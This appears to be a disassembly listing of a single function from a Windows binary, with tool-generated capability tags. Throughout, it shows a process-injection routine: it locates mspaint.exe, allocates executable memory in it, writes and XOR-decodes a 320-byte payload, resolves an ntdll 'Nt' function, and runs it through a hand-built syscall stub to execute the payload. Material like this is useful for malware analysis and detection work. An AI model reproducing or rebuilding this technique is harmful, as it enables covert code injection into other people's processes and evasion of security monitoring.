Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Enumerate processes
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r15
lea rbp, [rsp - 0x340]
sub rsp, 0x440
mov rax, qword [0x14001e008]
xor rax, rsp
mov qword [rbp + 0x330], rax
xor r15d, r15d
lea rax, [rbp + 0x1f0]
mov qword [rbp - 0x78], r15
lea rcx, [0x14001b560]
lea edx, [r15 + 2]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x1400010b2
movups xmm0, xmmword [rcx]
mov qword [rsp + 0x460], rsi
mov edi, r15d
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
lea ecx, [rdx + 2]
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm1
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor edx, edx
lea rcx, [rbp - 0x6c]
mov r8d, 0x234
mov rbx, rax
call fcn.140002520
lea rdx, [rbp - 0x70]
mov dword [rbp - 0x70], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400011a3
lea rsi, [0x14001b6a0]
nop word [rax + rax]
lea rdx, [rbp - 0x44]
mov rax, r15
nop word [rax + rax]
movzx ecx, word [rdx + rax*2]
cmp cx, word [rsi + rax*2]
jne 0x1400011c4
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rsi + rax*2 + 2]
jne 0x1400011c4
add rax, 2
cmp rax, 0xc
jne 0x140001180
mov edi, dword [rbp - 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x1400011d7
lea rcx, str.____Pid_of_mspaint.exe_is_not_found___n
call fcn.140001010
lea eax, [rdi + 2]
jmp 0x1400014c6
lea rdx, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001170
jmp 0x1400011a3
mov edx, edi
mov qword [rsp + 0x468], r14
lea rcx, str.___Pid_is_found:__d_n
call fcn.140001010
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rcx, rax
mov r9d, 0x3000
mov r8d, 0x140
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
jne 0x140001233
lea rcx, str.____Error_while_allocating_memory_n
jmp 0x1400014b4
mov rdx, r14
lea rcx, str.___Memory_is_allocated_at_0x_p_n
call fcn.140001010
lea rax, [rbp - 0x78]
mov r9d, 0x140
lea r8, [rbp + 0x1f0]
mov qword [rsp + 0x20], rax
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001274
lea rcx, str.____Error_while_writing_memory_n
jmp 0x1400014b4
lea rcx, str.___Payload_is_successfully_written_the_memory_n
call fcn.140001010
lea rcx, str.___Decrypting_the_payload_n
call fcn.140001010
mov ebx, r15d
nop
lea rax, [rbp - 0x78]
mov edi, ebx
add rdi, r14
mov qword [rsp + 0x20], rax
mov rdx, rdi
lea r8, [rbp - 0x80]
mov r9d, 1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1400014ad
xor byte [rbp - 0x80], 8
lea rax, [rbp - 0x78]
mov r9d, 1
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x80]
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400014ad
inc ebx
cmp ebx, 0x140
jl 0x140001290
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, str.ntdll.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9d, 0x18
lea r8, [rsp + 0x68]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov r9, qword [rsp + 0x68]
mov r8d, r15d
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [rax + r9 + 0x88]
mov edx, dword [rcx + r9 + 0x20]
mov eax, dword [rcx + r9 + 0x1c]
add rdx, r9
mov r10d, dword [rcx + r9 + 0x18]
add rax, r9
test r10d, r10d
je 0x140001384
sub rax, rdx
lea r11, [rax + 4]
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rdx]
mov ecx, dword [r11 + rdx]
add rcx, r9
cmp byte [rax + r9], 0x4e
jne 0x140001378
cmp byte [rax + r9 + 1], 0x74
je 0x140001387
inc r8d
add rdx, 4
cmp r8d, r10d
jb 0x140001360
mov rcx, r15
lea rax, [0x140001500]
mov word [rbp + 0x1d7], 0x4900
movups xmm1, xmmword [rax]
lea rdx, [rbp + 0x1d0]
mov byte [rbp + 0x1d9], 0xbb
movsd xmm0, qword [rax + 0x10]
pextrw eax, xmm1, 2
movsd qword [rbp + 0x1e0], xmm0
movd dword [rbp + 0x1d0], xmm1
psrldq xmm1, 6
mov word [rbp + 0x1d4], ax
movd eax, xmm1
mov dword [rbp + 0x1e2], 0xc3e3ff41
mov byte [rbp + 0x1d6], al
lea rax, [rcx + 0x12]
lea rcx, str.___Final_syscall_addr_:__p_n
mov qword [rbp + 0x1da], rax
call fcn.140001010
mov dword [rbp - 0x7c], r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x40
lea rdx, [rbp + 0x1d0]
mov rcx, rax
lea rax, [rbp - 0x7c]
mov qword [rsp + 0x20], rax
lea r8d, [r9 - 0x22]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rsp + 0x50], r15
lea rax, [rbp + 0x1d0]
mov qword [rsp + 0x48], r15
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x40], r15
mov r9, rsi
mov qword [rsp + 0x38], r15
xor r8d, r8d
mov dword [rsp + 0x30], r15d
mov edx, 0x1fffff
mov qword [0x14001fc10], rax
lea rax, [rbp + 0x1d0]
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x60], 0xffffffffffffffff
call rax
test eax, eax
je 0x14000148d
mov edx, eax
lea rcx, str.____Calling_the_syscall_is_failed_with_code:__x___n
call fcn.140001010
jmp 0x1400014b9
lea rcx, str.___Calling_the_syscall_is_succeeded_n
call fcn.140001010
mov rcx, qword [rsp + 0x60]
mov edx, 0x140
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
jmp 0x1400014be
lea rcx, str.____Error_on_decrypting_the_payload__n
call fcn.140001010
mov eax, 1
mov r14, qword [rsp + 0x468]
mov rsi, qword [rsp + 0x460]
mov rcx, qword [rbp + 0x330]
xor rcx, rsp
call fcn.140001520
mov rbx, qword [rsp + 0x470]
add rsp, 0x440
pop r15
pop rdi
pop rbp
ret